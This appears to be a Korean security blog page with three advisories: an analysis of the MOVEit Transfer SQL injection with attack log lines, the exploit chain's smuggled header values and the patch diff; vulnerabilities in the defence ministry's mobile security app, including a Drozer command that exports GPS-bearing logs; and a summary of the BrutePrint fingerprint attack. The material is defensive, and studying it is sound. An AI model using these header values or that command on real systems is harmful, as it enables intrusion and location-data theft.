2023-05-30 17:06:11 192.168.###.### POST /guestaccess.aspx - 443 - 5.252.190.116 user-agent - 200
2023-05-30 17:06:21 192.168.###.### GET /human2.aspx - 443 - 5.252.191.88 user-agent - 404

> moveitisapi.dll은 특정 헤더에서 요청될 경우 SQL 인젝션을 수행하기 위해 사용

⒜ 사용자 요청에 action=m2 매개변수를 포함하는 경우 action_m2 함수를 호출

⒝ 해당 함수는 전달받은 X-siLock-Transaction 헤더가 folder_add_by_path와 일치여부 확인 후 일치할 경우 machine2.aspx에 사용자 요청 포워딩

⒞ moveitisapi.dll에서 X-siLock-Transaction 헤더를 추출하여 folder_add_by_path와 값을 비교하는 함수에 버그 존재

⒟ 공격자는 xX-siLock-Transaction=folder_add_by_path 등의 헤더를 제공해 헤더가 잘못 추출되도록 유도

⒠ 잘못 추출된 헤더에 의해 machine2.aspx에 session_setvars 트랜잭션을 전달하여 SetAllSessionVarsFromHeaders() 함수 호출 및 구문 분석 진행

⒡ 이때, X-siLock-SessVar0: MyUsername: sysadmin은 세션의 사용자 이름을 sysadmin으로 설정하며, 변수를 설정할 수 있는 엑세스 권한이 부여

> guestaccess.aspx는 세션을 준비하고 CSRF 토큰 및 기타 필드 값을 추출하여 추가 액션을 수행하는 데 사용

⒜ 취약한 UserGetUsersWithEmailAddress() 함수는 트렌젝션이 secmsgpost인 경우 인증을 수행하지 않고 guestaccess.aspx 호출

※ 관련 함수 Call-chain

guestaccess.aspx -> SILGuestAccess -> SILGuestAccess.PerformAction() -> MsgEngine.MsgPostForGuest() -> UserEngine.UserGetSelfProvisionUserRecipsWithEmailAddress() -> UserEngine.UserGetUsersWithEmailAddress()

 

3. 대응방안

① 최신 업데이트 적용 [8]

> 23.06.12 보안 기업 Huntress에 의해 두 번째 제로데이 취약점(CVE-2023-35036)이 발견되었으며, 벤더사에서 관련 패치 적용

> 따라서, 서둘러 패치를 적용해야할 필요가 있음

※ MOVEit Cloud의 경우 클라우드 서비스이기 때문에 사용자들이 특별히 패치를 다운로드 받아 적용하지는 않아도 됨

※ 보안 업체의 연구에 따르면 해당 패치는 모든 경우에서 인수를 이스케이프 하므로, 취약점에 적절히 대응하는 것으로 확인

취약한 버전 패치 버전
MOVEit Transfer 2023.0.0(15.0) MOVEit Transfer 2023.0.1
MOVEit Transfer 2022.1.x(14.1) MOVEit Transfer 2022.1.5
MOVEit Transfer 2022.0.x(14.0) MOVEit Transfer 2022.0.4
MOVEit Transfer 2021.1.x(13.1) MOVEit Transfer 2021.1.4
MOVEit Transfer 2021.0.x(13.0) MOVEit Transfer 2021.0.6
MOVEit Transfer 2020.1.x(12.1) Progress 웹사이트 참고 [9]
MOVEit Transfer 2020.0.x(12.0) 및 이전 버전 가능한 상위 버전
MOVEit Cloud 14.1.4.94 또는 14.0.3.42

 

> machine2.aspx에서 사용하던 SetAllSessionVarsFromHeaders() 함수를 제거

  public bool SetAllSessionVarsFromHeaders(string ServerVars)
    {
      bool flag = true;
      string[] strArray = Strings.Split(ServerVars, "\r\n");
      int num1 = Strings.Len("X-siLock-SessVar");
      int num2 = Information.LBound((Array) strArray);
      int num3 = Information.UBound((Array) strArray);
      int index = num2;
      while (index <= num3)
      {
        if (Operators.CompareString(Strings.Left(strArray[index], num1), "X-siLock-SessVar", false) == 0)
        {
          int num4 = strArray[index].IndexOf(':', num1);
          if (num4 >= 0)
          {
            int num5 = strArray[index].IndexOf(':', checked (1 + num4));
            if (num5 > 0)
              this.SetValue(strArray[index].Substring(checked (2 + num4), checked (num5 - num4 - 2)), (object) strArray[index].Substring(checked (2 + num5)));
          }
        }
        checked { ++index; }
      }
      return flag;
    }

 

> 여러 위치에서 사용되는 복잡한 SQL 쿼리를 변경

 private void UserGetUsersWithEmailAddress(
-      ref ADORecordset MyRS,
+      ref IRecordset MyRS,
       string EmailAddress,
       string InstID,
       bool bJustEndUsers = false,
       bool bJustFirstEmail = false)
     {
-      object[] objArray;
-      bool[] flagArray;
-      object obj = NewLateBinding.LateGet((object) null, typeof (string), "Format", objArray = new object[4]
+      Func<string, string> func = new Func<string, string>(this.siGlobs.objWrap.Connection.FormatParameterName);
+      SQLBasicBuilder where = this._sqlBuilderUsers.SelectBuilder().AddColumnsToSelect("Username", "Permission", "LoginName", "Email").AddAndColumnEqualsToWhere<string>(nameof (InstID), InstID, true).AddAndColumnEqualsToWhere<int>("Deleted", 0);
+      if (bJustEndUsers)
+        where.AddAndColumnGreaterThanToWhere<int>("Permission", 10, true);
+      string str = this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress);
+      List<string> values = new List<string>()
       {
-        Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("SELECT Username, Permission, LoginName, Email FROM users WHERE InstID={0} AND Deleted=" + Conversions.ToString(0) + " "), Interaction.IIf(bJustEndUsers, (object) ("AND Permission>=" + Conversions.ToString(10) + " "), (object) "")), (object) "AND "), (object) "("), (object) "Email='{2}' OR "), (object) this.siGlobs.objUtility.BuildLikeForSQL("Email", "{1},%", bEscapeAndConvertMatchString: false)), Interaction.IIf(bJustFirstEmail, (object) "", (object) (" OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1}", bEscapeAndConvertMatchString: false) + " OR " + this.siGlobs.objUtility.BuildLikeForSQL("Email", "%,{1},%", bEscapeAndConvertMatchString: false)))), (object) ") "), (object) "ORDER BY LoginName"),
-        (object) InstID,
-        (object) this.siGlobs.objUtility.EscapeLikeForSQL(EmailAddress),
-        (object) EmailAddress
-      }, (string[]) null, (Type[]) null, flagArray = new bool[4]
-      {
-        false,
-        true,
-        false,
-        true
-      });
-      if (flagArray[1])
-        InstID = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[1]), typeof (string));
-      if (flagArray[3])
-        EmailAddress = (string) Conversions.ChangeType(RuntimeHelpers.GetObjectValue(objArray[3]), typeof (string));
-      this.siGlobs.objWrap.DoReadQuery(Conversions.ToString(obj), ref MyRS, true);
+        string.Format("Email={0}", (object) func("Email")),
+        this.siGlobs.objUtility.BuildLikeForSQL("Email", func("FirstEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false)
+      };
+      where.WithParameter("Email", (object) EmailAddress);
+      where.WithParameter("FirstEmail", (object) string.Format("{0},%", (object) str));
+      if (!bJustFirstEmail)
+      {
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("MiddleEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        values.Add(this.siGlobs.objUtility.BuildLikeForSQL("Email", func("LastEmail"), bEscapeAndConvertMatchString: false, bQuoteMatchString: false));
+        where.WithParameter("MiddleEmail", (object) string.Format("%,{0},%", (object) str));
+        where.WithParameter("LastEmail", (object) string.Format("%,{0}", (object) str));
+      }
+      where.AddAndToWhere("(" + string.Join(" OR ", (IEnumerable<string>) values) + ")");
+      where.AddColumnToOrderBy("LoginName", SQLBasicBuilder.OrderDirection.Ascending);
+      this.siGlobs.objWrap.DoReadQuery(where.GetQuery(), where.Parameters, ref MyRS, true);
     }

 

② 벤더사 권장 수정 사항 (업데이트 외) [8]

- MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

- 감사 로그를 점검해 비정상적인 파일 접근 및 다운로드 기록이 있는지 확인

- 악성 파일 및 사용자 계정 삭제

> 웹쉘과 cmdline 스크립트 파일 등을 삭제하고 승인되지 않은 계정 삭제

> 관련 행위 조사와 관련된 정보 제공 [11]

 

③ 업데이트가 불가할 경우

- 신뢰할 수 있는 IP 주소에서만 MOVEit Transfer 접속하도록 방화벽 설정
- 승인되지 않은 사용자 계정 제거
- 신뢰할 수 있는 인바운드 연결만 허용
- 다단계 인증 활성화

 

④ 공개된 침해지표 보안장비 적용 [12][13][14][15]

 

4. 참고

[1] https://www.ipswitch.com/moveit-transfer
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-34362#close
[3] https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
[4] https://www.shodan.io/search?query=http.favicon.hash%3A989289239
[5] https://viz.greynoise.io/tag/moveit-transfer-scanner?days=30
[6] https://www.akamai.com/blog/security-research/moveit-sqli-zero-day-exploit-clop-ransomware
[7] https://gist.github.com/JohnHammond/44ce8556f798b7f6a7574148b679c643
[8] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
[9] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1

[10] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do;jsessionid=nZaP7DIRsvlu8YwvR52vr0pZJfg76AruG7wWlqMRyamD1eEvxANzXJO2mce9RlAb.nweb2_servlet_ncsc?bbsId=SecurityAdvice_main&nttId=44288&pageIndex=1#LINK

[11] https://docs.ipswitch.com/MOVEit/DMZ%207.5/online%20guide/MOVEitDMZ_AdvancedTopics_SystemInternals_TechnicalReference.htm

[12] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
[13] https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft
[14] https://www.imperva.com/blog/cve-2023-34362-moveit-transfer/
[15] https://www.boannews.com/media/view.asp?idx=118913&page=4&kind=1

[16] https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/

[17] https://github.com/horizon3ai/CVE-2023-34362

[18] https://attackerkb.com/topics/mXmV0YpC3W/cve-2023-34362/rapid7-analysis?referrer=notificationEmail 

1. 국방모바일보안

- 국방모바일보안 앱은 국방부에서 개발과 배포를 담당하고 있는 MDM(Mobile Device Management) 애플리케이션

- 모든 병사, 직원 및 외부 출입자들은 보안 상 의무적으로 설치해야 하는 앱으로, 병사용, 직원용, 외부인용 버전이 존재

- 현재 국방부는 군 내부 보안규정에 따라 부대 출입 시 국방모바일보안 앱을 사용하도록 조치

- 군사 기밀 유출을 방지하기 위해 위치 기반 카메라 차단 기능을 제공 (전화, 인터넷 등 기능은 차단되지 않음)

- 군사 시설 내 NFC 기기에 접촉하여 카메라를 비활성화 하며, 위병소에 설치된 비콘을 인식해 활성화

※ 비콘으로 카메라를 활성화하지 못한 경우 앱에 사전 등록된 공공기관 등 주소를 찾아 위치 기반으로 차단 해제 필요

- 시민단체 인터랩에 의해 사용자 개인정보 및 군사정보 유출이 가능한 보안 취약점이 발견

 

2. 주요내용

2.1 사용자 개인정보 관련 취약점

- 세 가지 버전 모두 GPS 위치정보와 시간, 날짜를 일일 로그 파일에 작성

- 로그 저장 경로: /data/user/0/kr.go.mnd.mmsa/files/MobileSticker/log

- 로그는 사용자가 위치 기반으로 기기 잠금 해제를 시도하는 등의 ActivityCheckOutGPS 액티비티에 관련된 GPS 기능을 사용할 때 작성

[사진 1] 애플리케이션 로그 파일에 기록된 GPS 예시

 

위험 1. CWE-532: Insertion of Sensitive Information into Log File

- 로그 파일에 저장된 정보는 민감 정보일 수 있으며, 공격자에게 중요한 정보를 제공할 수 있음

> 배포 전 로그 레벨을 적절히 설정하여 민감한 사용자 데이터와 시스템 정보가 노출되지 않도록 하는 것이 중요

- 국방모바일보안 앱의 경우 GPS 정보를 로그에 기록함으로써 위치정보가 노출될 수 있음

 

위험 2. 위치정보법

- 위치정보법에 근거 위치정보는 개인정보로 취급되며, 위치정보 수집을 위해서는 사용자의 동의를 받아야 함

- 또한, 수집ㆍ이용ㆍ제공 목적을 달성한 때에는 위치정보를 지체없이 파기하여야 함

제2조 (정의)
1. “위치정보”라 함은 이동성이 있는 물건 또는 개인이 특정한 시간에 존재하거나 존재하였던 장소에 관한 정보로서 「전기통신사업법」 제2조제2호 및 제3호에 따른 전기통신설비 및 전기통신회선설비를 이용하여 측위(測位)된 것을 말한다.

2. “개인위치정보”라 함은 특정 개인의 위치정보(위치정보만으로는 특정 개인의 위치를 알 수 없는 경우에도 다른 정보와 용이하게 결합하여 특정 개인의 위치를 알수 있는 것을 포함한다)를 말한다.

제18조(개인위치정보의 수집)
① 위치정보사업자가 개인위치정보를 수집하고자 하는 경우에는 미리 다음 각호의 내용을 이용약관에 명시한 후 개인위치정보주체의 동의를 얻어야 한다.

제23조(개인위치정보의 파기 등) 
① 위치정보사업자등은 개인위치정보의 수집, 이용 또는 제공목적을 달성한 때에는 제16조제2항에 따라 기록ㆍ보존하여야 하는 위치정보 수집ㆍ이용ㆍ제공사실 확인자료 외의 개인위치정보는 즉시 파기하여야 한다. 다만, 다른 법률에 따라 보유하여야 하거나 대통령령으로 정하는 정당한 사유가 있는 경우 개인위치정보를 보유할 수 있다

 

- 세 가지 버전 모두 플레이스토어 앱 정보에서 "국방모바일보안앱은 사용자의 개인정보 일체를 수집 및 취급하지 않습니다." 명시

> 앱 설치 시에도 개인정보를 수집하지 않는다고 안내하지만, 로그로 기록하며, 위치정보법 제 18조 위반에 해당

[사진 2] 앱 정보(좌) 및 설치 과정(우)에서의 개인정보 관련 안내

 

- 국방모바일보안 앱에서 위치정보를 기록한 후 미리 저장된 위치정보(앱 작동 범위)와 비교 목적으로만 사용

> 위치 정보 비교 후 더 이상 필요하지 않으므로 파기해야 하지만, 로그로 기록하며, 위치정보법 제 23조 위반에 해당

 

2.2 데이터베이스 관련 취약점

- 국방모바일보안 앱에는 AegisGate.db 라는 이름의 로컬 SQL 데이터베이스가 포함

> 해당 데이터베이스는 기기의 정보(관리자 전화번호, 기기 정보, 설정 정보)를 기록 및 저장하며, 앱이 특정 기능을 수행할 때 사용됨

 

위험 1. 불필요 데이터 저장

- 외부인 버전에서 사용자로부터 AdminTelephone 번호를 입력 받아 AdminTellInfo 테이블에 기록

- 직원 버전에서 수/발신 전화번호가 ConfigInfo 테이블에 기록

- 해당 데이터를 앱에서 사용되지 않지만 기록되어 외부에 노출되어 악용될 가능성 존재

 

위험 2. 미흡한 암호화

- 데이터베이스에 포함된 모든 값들은 AES/CBC/PKCS5Padding 으로 암호화되고 base64 로 인코딩

> 그 중 AES 키는 타임스탬프를 기반으로 하여 생성되는데, 타임스탬프는 SHA256 인코딩을 거쳐 생성된 32 바이트 값

> 전화번호는 타임스탬프 기반 키와 앱에서 생성된 IV 값을 이용해 암호화를 거친 뒤 base64 로 인코딩되어 저장

[사진 3] 전화번호 암호화 메소드

 

- [사진 3]의 메소드에서 타임스탬프 기반으로 생성된 키가 AgentK 테이블에 저장됨 

> 공격자가 데이터베이스와 IV에 접근할 수 있을 경우 데이터베이스에 저장된 데이터를 복호화 할 수 있게 됨

[사진 4] AgentK 테이블에 저장된 키를 사용한 emergency 값의 복호화

 

2.3 위치 정보  관련 취약점

- 국방모바일보안 앱의 전반적인 보안은 좋은 편

> 공격자가 기기에 접근할 수 있을 때 개인정보 유출을 초래하는 취약점 발견

> 해당 취약점은 국방모바일보안(외부인) 2.1.17, 국방모바일보안(직원) 2.1.25 버전에 존재

 

- 두 버전에는 "BroadcastReceiverExternal"이라는 브로드캐스트 리시버가 존재

- 권한이 설정되어 있지않아 누구나 리시버를 내보낼 수 있음

※ 브로드캐스트 리시버: 안드로이드는 기기의 상태 변화 이벤트(충전, 비행기 모드 설정 등)가 발생한 경우 인텐트로 감싸진 Broadcast 신호를 보내는데, 해당 신호를 받아 인텐트 필터를 통해 구분 후 관련된 기능에 전달해 주는 역할을 수행

[사진 5] BroadcastReceiverExternal 권한

 

- 브로드캐스트 리시버는 “com.markany.aegis.AEGIS_ACTION_ADMIN_REQUEST” 인텐트 필터를 가짐

> 해당 인텐트가 포함된 브로드캐스 수신 시 문자열 값 “action_admin”과 “action_admin_exportLog”이 포함되는지 확인

> 두 문자열이 포함된 경우 앱이 기록한 모든 로그를 /storage/emulated/0/Aegis/ 경로로 추출

[사진 6] 관련 메소드

 

- Drozer에서 다음의 명령을 수행할 경우 누구나 접근 가능한 저장소 디렉토리에 로그 추출이 가능

※ Drozer: 모바일 앱 취약점 진단 프레임워크로 안드로이드 시스템에 접근하여 앱을 동적으로 진단할 수 있는 도구이며, 서버-클라이언트로 동작

run app.broadcast.send --action com.markany.aegis.AEGIS_ACTION_ADMIN_REQUEST --component kr.go.mnd.mmsa.of kr.go.mnd.mmsa.of.br.BroadcastReceiverExternal --extra string action_admin action_admin_exportLog

 

- 이 경우, 사용자에게 알림이 발생하며, 추출된 로그를 통해 대략적인 GPS 위치 정보 등을 확인 가능

※ 앱에서 직접 로그를 추출은 관리자 권한이 없어 불가능

[사진 7] 로그 추출 암림(좌) 및 추출 로그(우)

 

- 국방부는 해당 취약점에 대해 다음과 같은 입장을 발표

> 인터랩 제보 통해 해당 취약점 확인 및 개발업체와 협조해 보완 조치중

> 국방모바일보안 앱은 사용자 데이터를 수집하지 않으며, GPS 기록은 개인 휴대전화 내부에 로그로만 저장될 뿐 유출 위험은 없음

> 개발업체와 협조하여 앱 로그에 GPS 정보가 포함되지 않도록 보완할 예정

> GPS 정보는 부대 외부에서 국방모바일보안 앱 해제를 위해 이용될 뿐 부대 위치 정보는 포함되지 않음

> 국방모바일보안 앱은 사용자 등록 및 로그인 기능이 없어 개인정보 보관 등의 우려는 없음

 

3. 참고

[1] https://interlab.or.kr/archives/19268
[2] https://www.boannews.com/media/view.asp?idx=118437&page=1&kind=1

1. 개요

- 텐센트와 저장대학교 연구진이 스마트폰 지문 인식을 우회할 수 있는 'BrutePrint'(브루트프린트)라는 시스템을 개발

- BrutePrint는 약15달러(약 2만)으로 제작 가능하며, 지문 인증을 무제한으로 시도해 지문 인증을 우회할 수 있음

- 방대한 지문 정보를 가진 장치를 스마트폰에 부착해 지문을 스캔하는 것으로 인식하도록 센서를 속이는 방법으로 작동

- 해당 기법을 적용하려면 대상 스마트폰에 물리적인 접근이 가능해야 함

 

2. 주요 내용

2.1 일반적인 지문 인식 방법

[사진 1] 일반적인 지문 인식 방법

- 스마트폰 지문 인증 프로세스는 ① 획득 > ② 보정 > ③ 위조 방지 > ④ 매칭 단계로 구성

① 획득: 지문 감지

② 보정: 입력된 지문 화질 향상 및 원본 지문 화질 조정

> 데이터베이스에 저장된 원본 지문은 깨끗한 상태로 저장된 반면, 입력된 지문은 흐릿한 상태로 입력되기 때문

③ 위조 방지: 두 지문의 유사도 측정

④ 매칭: 잠금 해제

 

- 일반적으로 스마트폰 지문 인증 시스템은 횟수 제한 초과 시 잠금 등을 이용해 보안성을 향상

 

2.2 방법론

- 3가지 취약점을 이용

① CAMF(Cancel-After-Match-Fail): 특정 오류 신호가 수신될 경우 실패 시도를 초기화하는데, 해당 오류 신호를 주입하여 시도 제한 우회 

② MAL(Match-After-Lock): 잠금 모드에서 공격자가 지문 이미지의 인증 결과를 유추할 수 있는 취약점

③ SPI(Serial Peripheral Interface)의 데이터 평문 전송으로 인한 MITM 취약점

※ SPI(Serial Peripheral Interface): 지문 센서와 스마트폰 프로세서 간의 동기 직렬 통신에 사용

 

- 연구에 사용된 지문 정보의 수집은 학술적 목적의 지문 데이터베이스와 유출된 지문 정보를 이용

 

2.3 디바이스

[사진 2] 디바이스

- 지문 이미지 저장용 메모리 SD 플래시, 컨트롤러 STM32F412, 스위치 RS2117, B2B 커넥터로 구성되었으며, 부품의 합계는 약 15달러(약 2만원)

- 디바이스는 운영보드공격보드로 구성되어 있어, 스마트폰 지문 인증 센서에 오인식시키는 것이 가능함

- 저장된 지문 데이터를 수집하고, 수집된 데이터와 저장된 지문 데이터베이스를 사용해 지문 사전을 생성해 공격 수행

 

[사진 3] 지문 판독 유형 예시

- 스마트폰 기종별로 적용된 지문 판독 유형은 정전식, 광학식, 초박형, 초음파식 등 다양

> 대상의 판독 유형에 맞춰 가공한 이미지를 전송할 수 있도록 설계

 

2.4 결과

[사진 5] 실험 결과

- Apple iPhone SE와 Apple iPhone 7 제외한 나머지 스마트폰에서 지문 인증을 무제한으로 실행해 우회하는데 성공

- 또한, 스마트폰 소유자에 대한 사전 지식이 없는 상태에서도 최단 40분 만에 우회에 성공

 

[사진 6] 기종별 공격 소요 시간

2.5 완화 방안

- CAMF 관련 검증을 추가하여 모니터링 - Ex) 임계값

> 오류로 인한 초기화 여부 확인 및 발생 횟수를 카운트하여 임계값 도달 시 보안 수준 강화

 

- 스마트폰 제조 벤더사의 중요 데이터 암호화 책임 강화

 

3. 추가 대응 방안

- 등록 지문 개수 최소화

> 갤럭시의 경우 최대 4개의 다른 지문을 추가할 수 있음

> 다수의 지문이 등록된 경우 다른 공격 유형에 노출될 위험 증가

 

- PIN 등 암호 추가 적용

 

4. 참고

 

BrutePrint: Expose Smartphone Fingerprint Authentication to Brute-force Attack

Fingerprint authentication has been widely adopted on smartphones to complement traditional password authentication, making it a tempting target for attackers. The smartphone industry is fully aware of existing threats, and especially for the presentation

arxiv.org

+ Recent posts